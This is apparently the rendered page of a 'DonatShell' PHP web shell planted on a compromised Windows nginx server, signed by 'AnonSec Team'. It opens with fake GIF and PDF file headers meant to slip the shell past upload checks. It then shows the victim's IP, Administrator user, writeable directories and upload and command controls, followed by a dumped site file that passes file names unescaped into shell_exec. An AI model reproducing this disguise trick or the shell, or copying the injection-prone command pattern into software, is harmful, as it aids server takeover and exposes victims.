GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Setup/VMware/VMs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Setup/VMware/VMs/index.php
<?
// Jimmartinson/Setup/VMware/VMs/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";

ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
#$skipAuthentication = true;
#$allowAdminAuthentication = false;
$authorizedGroups = 'USER';
include('application.phpinc');
$headTitle = '_CST_ - Download prebuild virtual machines';
$pageTitle = '_CST_<br>Download prebuild virtual machines';

include('common/pageHeader.phpinc');

$currentPath = explode("/",$_SERVER['PHP_SELF']);

function file_extension($filename)
{
    $path_info = pathinfo($filename);
		#printVar('$path_info',$path_info);
		if (isset($path_info['extension'])) {
			return $path_info['extension'];
		} else {
			return '';
		}
}
// Look for recordings.
$fileExtensions = array('zip');
$getDir = $_SERVER['DOCUMENT_ROOT'];

$VMdirectory = opendir(".");
// Get all subdirectories.
$VMsubdirectories = array();
while($entryName = readdir($VMdirectory)) {
	if (filetype($entryName) == 'dir' && $entryName != '..') {
		if ($entryName != '.') {
			$VMsubdirectories[] = './'.$entryName;
		} else {
			$VMsubdirectories[] = $entryName;
		}
	}
}
// close directory
closedir($VMdirectory);
#printVar('$VMsubdirectories',$VMsubdirectories);

// open each directory and get each VM file.
$VMs = array();
#$VMs['directory'] = array();
foreach ($VMsubdirectories as $currentDirectory) {
	#printVar('$currentDirectory',$currentDirectory);
	if ( !stristr($currentDirectory,'Archive') ) {
		$VMdirectory = opendir($currentDirectory);
		while($entryName = readdir($VMdirectory)) {
			#printVar('$entryName',$entryName);
			#printVar('filetype($entryName)',filetype($entryName));
			if (in_array(file_extension($entryName),$fileExtensions)) {
				$VMindex = str_replace(array('./','.'),array('','root'),$currentDirectory);
				if ( !isset($VMs[$VMindex]) ) $VMs[$VMindex] = array();
				$VMs[$VMindex][] = $entryName;
			}
		}
		closedir($VMdirectory);
	}
}

print ("<br>\n");

#printVar('$VMs',$VMs);
#natcasesort($VMs);
#printVar('$VMs',$VMs);

// Display links to the VM file.
$beginTable = true;
$VMtotal = 0;
$VMdirectoryCount = count($VMs);
$VMdirectoryPrevious = '';
if ( $VMdirectoryCount ) {
	foreach ( $VMs as $VMdirectory => $VMlist ) {
		#print_r($VMlist);
		if ( $beginTable ) {
			print('<table class="grayborder">'."\n");
			$beginTable = false;
		}
		if ( $VMdirectoryPrevious != $VMdirectory ) {
			$VMheader = '';
			$VMcount = count($VMs[$VMdirectory]);
			$VMtotal += $VMcount;
			$VMheader .= $VMcount." Virtual machine";
			if ($VMcount > 1) $VMheader .=	"s";
			$VMheader .=  ".";
			print('<tr><th colspan="3" class="center grayborder">'.$VMheader.'</th></tr>'."\n");
			print('<tr><th class="grayborder">Filename</th><th class="grayborder">Size</th><th class="grayborder">Last updated</th></tr>'."\n");
			$VMdirectoryPrevious = $VMdirectory;
		}
		foreach ( $VMlist as $index => $VMfile ) {
			#printVar('$index',$index);
			#printVar('$VMfile',$VMfile);
			#printVar("str_replace('root','./',$VMdirectory)",str_replace('root','./',$VMdirectory));

			$windows_cmd_to_execute = "dir ".$VMfile.'|find "'.$VMfile.'"';
			#echo "The command [$windows_cmd_to_execute] is what we are using as an example.<br><br>\n\n";
			# This executes the command.
			$result_of_command = shell_exec($windows_cmd_to_execute);
			# This displays the output from the command.
			#echo "<pre>",$result_of_command,"</pre>";
			$dirParts = explode(' ',preg_replace("/\s+/"," ",$result_of_command));
			#printVar('$dirParts',$dirParts);
			$fileSize = $dirParts[3];
			$lastUpdated = valid_date($dirParts[0]).' '.$dirParts[1].strtolower($dirParts[2]);

?>
  <tr><td class="grayborder right"><a href="<?=str_replace('root','./',$VMdirectory)?>/<?=$VMfile?>"><?=$VMfile?></a></td><td class="grayborder"><?=$fileSize?></td><td class="grayborder"><?=$lastUpdated?></td></tr>
<?
		}
	}
} else {
	print("<table border=1 cellpadding=5 cellspacing=0 class=whitelinks>\n");
	print('<tr><th colspan="2">No virtual machines.</th></tr>'."\n");
}
print("</table>\n");

#setDebugOn();
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team